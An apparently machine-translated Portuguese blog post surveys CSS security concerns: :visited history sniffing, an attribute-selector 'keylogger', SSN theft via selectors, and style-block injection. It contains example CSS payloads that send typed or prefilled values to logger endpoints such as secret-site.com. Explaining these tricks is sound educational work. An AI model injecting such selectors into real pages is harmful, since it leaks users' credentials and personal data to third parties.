Vulnerabilidades de segurança CSS

Não leia essa manchete e fique preocupado. Não acho que o CSS seja uma preocupação de segurança particularmente perigosa e, na maioria das vezes, não acho que você precise se preocupar com isso.

Mas, de vez em quando, os artigos tendem a circular e chamam a atenção para as possibilidades do que o CSS pode fazer que pode surpreender ou preocupá-lo.

Aqui está um pequeno resumo.

# A preocupação com links visitados

Este é assim:

1. Você coloca um link para uma página específica do seu site, digamos <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
2. Você estiliza o estado visitado desse link como o a:visited { color: pink; }que não é um estilo padrão de agente de usuário.
3. Você testa o estilo calculado desse link.
4. Se estiver rosa, esse usuário é um ticker de porco.
5. Você relata que as informações sobre cócegas de porco voltam a algum servidor em algum lugar e provavelmente triplica suas taxas de seguro de propriedade de porcos, pois certamente os porcos sofrerão um sofrimento emocional extremo por todas as cócegas.

Você pode até fazê-lo inteiramente em CSS, porque esse :visitedestilo pode ter o background-image: url(/data-logger/tickle.php);que é solicitado apenas por marcadores de porcos.

Preocupado? Não fique, todos os navegadores impediram que isso fosse possível.

# O Keylogger

Este é assim:

1. Há uma entrada na página. Talvez uma entrada de senha. Assustador!
2. Você coloca um script do criador de logs como o valor da imagem de plano de fundo da entrada, mas também um bilhão de seletores a mais, de modo que o criador de logs colete e relate parte ou toda a senha.

input[value^="a"] { background: url(logger.php?v=a); }

Este não é tão fácil. O valueatributo de uma entrada não muda apenas porque você digita nela. Às vezes, isso ocorre em estruturas como o React; portanto, se você inserir esse CSS em uma página de login alimentada pelo React e codificada dessa maneira, teoricamente, esse keylogger habilitado para CSS poderá funcionar.

Mas … nesse caso, o JavaScript está sendo executado nessa página de qualquer maneira. O JavaScript é 1000 × mais preocupante do que o CSS para coisas assim. Um keylogger em JavaScript é apenas um par de linhas de código observando eventos de pressionamento de tecla e relatando-os via Ajax.

Agora, o JavaScript embutido injetado por XSS e XSS agora pode ser interrompido com a Política de segurança de conteúdo ( CSP ) … mas o CSS também.

# O ladrão de dados

Este é assim:

1. Se eu conseguir colocar alguns dos meus CSS nefastos em uma página na qual você se autenticou em um site …
2. E esse site exibe informações confidenciais como um número de segurança social ( SSN ) em um formulário pré-preenchido …
3. Eu posso usar seletores de atributos para descobrir isso.

input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

Um bilhão de seletores e você cobriu todas as possibilidades!

# O bloco de estilo embutido whoopsie

Não sei se culpo o CSS por isso necessariamente, mas imagine:

<style>
  ... Drop in some user-generated stuff ...
</style>

Talvez você esteja permitindo ao usuário alguma personalização de CSS lá. Esse é um vetor de ataque, pois eles podem fechar essa tag de estilo, abrir uma tag de script e escrever JavaScript nefasto.

# Tenho certeza que há muito mais

Peguei eles? Compartilhe-os.

Pinte-me um pouco cético de como eu deveria estar aterrorizada com as vulnerabilidades de segurança CSS. Não quero subestimar muito as coisas de segurança (especialmente preocupações de terceiros ) porque não sou especialista e a segurança é da maior importância, mas, ao mesmo tempo, nunca ouvi falar de CSS como o vetor de ataque para qualquer coisa fora de um exercício de pensamento. Eduque-me!